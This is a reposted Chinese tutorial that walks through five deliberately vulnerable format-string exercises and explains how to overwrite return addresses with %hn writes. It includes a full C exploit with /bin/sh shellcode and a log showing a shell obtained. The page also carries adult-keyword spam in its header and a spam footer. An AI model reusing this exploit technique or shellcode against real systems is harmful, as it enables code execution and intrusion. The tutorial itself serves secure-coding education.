国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

非安全編程演示之格式化字符串篇

2019-11-17 05:51:27
字體:
來源:轉載
供稿:網友
★★ 二格式化字符串篇

測試環境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*
* more is less,*
* here's a PRoof */

int main(int argv,char **argc) {
  short int zero=0;
  int *plen=(int*)malloc(sizeof(int));
  char buf[256];

  strcpy(buf,argc[1]);
  printf("%s%hn/n",buf,plen);
  while(zero);
}
利用方法:
這個程序構造的很巧妙,假如我們需要從這個程序中得到控制的話,
我們需要把strcpy和printf都利用起來。
我們的目標:覆蓋main函數的返回地址,需要使zero為0,然而,單單strcpy
是不可能實現的,所以我們需要利用后面的
printf("%s%hn/n",buf,plen);
把short int 類型的zero設置為0。所以我們需要精心構造argc[1].



★ 2.2 演示二

/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我們現在來覆蓋main的返回地址:0xbffffb6c,
假使shellcode地址為:0xbffffc88
開始構造模板
第一次我們構造argc[1]的時候需要使argc[1]長度為0xbfff-2
那使構造argc[1]內容為
aaaa | bbbb | /0x8a/0xfc/0xff/0xbf|...
第二次我們構造argc[2]的時候需要使argc[2]長度為0xfb6c-2
那使構造argc[2]內容為
aaaa | bbbb | /0x88/0xfc/0xff/0xbf|...


★ 2.3 演示三

/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我們也看到,shellcode和main的返回地址存放的地址后兩個字節是
一樣的,所以也就不需要上面的第一步操作,直接如下構造:
構造argc[1]的時候需要使argc[1]長度為0xfb6c-2
那使構造argc[1]內容為
aaaa | bbbb | /0x88/0xfc/0xff/0xbf|...


★ 2.4 演示四

/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
  printf(buf);
}
%6$hn格式化字符串表示%hn對應的格式化參數使用第六個參數
明白這一點,寫出eXPloit應該不是問題。
看了下面一個例子就應該明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include <stdio.h>

int main(int argc, char *argv[])
{
  int a=2,b=3;
  printf("%d %d/n",a ,b);
  printf("%2$d %1$d/n",a ,b);

  return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
這樣,我們可以在格式化串中自己指定所用哪個參數,而無需按照參數次序。


★ 2.5 演示五

/* fs5.c*
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go!*/
int main(int argv,char **argc) {
  char buf[256];
  snprintf(buf,sizeof buf,argc[1]);

  /* this line'll make your life easier */
//printf("%s/n",buf);
}
[alert7@redhat]$ gcc -o test test.c -g
給個exploit更感性一點
[alert7@redhat]$ cat exp.c|more
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
  //F為格式化字符串地址
  //X為垃圾的個數,X*4也就是
  //從esp到F的長度

#define NOP0x90

char shellcode[] =
 "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

int main(int argc, char *argv[]) {
  char *ptr;

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];
  char buf1[5000];
  int t;
  printf("Using RET location address: 0x%x/n", retloc);
  shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的參數地址
  //里面存放著shellcode
  printf("Using Shellcode address: 0x%x/n", shell_addr);
 
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
  /*推薦構造格式化串的時候使用%hn*/

}

if ((SH1 )>(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
  {
  printf("不能用一個printf實現這種情況/n"),exit(0);
  //其實是可以的,注重這個$這個非凡的printf選項沒有
  //參考前面的演示四 :)
  }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些數據的定位請參考我寫的<<利用格式化串覆蓋printf()系列函數本身的返回地址>>


★★ 小結:
存在格式化字符串的根本原因所在是程序答應用戶提供部分或全部的格式化字符串,
也就是說,在*printf()系列函數中,格式化字符串位置的參數可由用戶提供或者說
是控制。例如:千萬不要因為懶惰寫成這樣printf(buf),正確的寫法應該是
printf("%s",buf).




發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 鹤峰县| 保康县| 边坝县| 乌苏市| 左贡县| 江达县| 宁夏| 都兰县| 临夏县| 库尔勒市| 建湖县| 兴业县| 合山市| 嘉义市| 宁明县| 龙山县| 新巴尔虎左旗| 洮南市| 额尔古纳市| 北安市| 库尔勒市| 神农架林区| 济源市| 顺平县| 南平市| 长顺县| 克山县| 上林县| 安化县| 德州市| 瑞昌市| 巴林右旗| 新民市| 广河县| 准格尔旗| 道孚县| 喜德县| 寿阳县| 镇江市| 彰武县| 宣武区|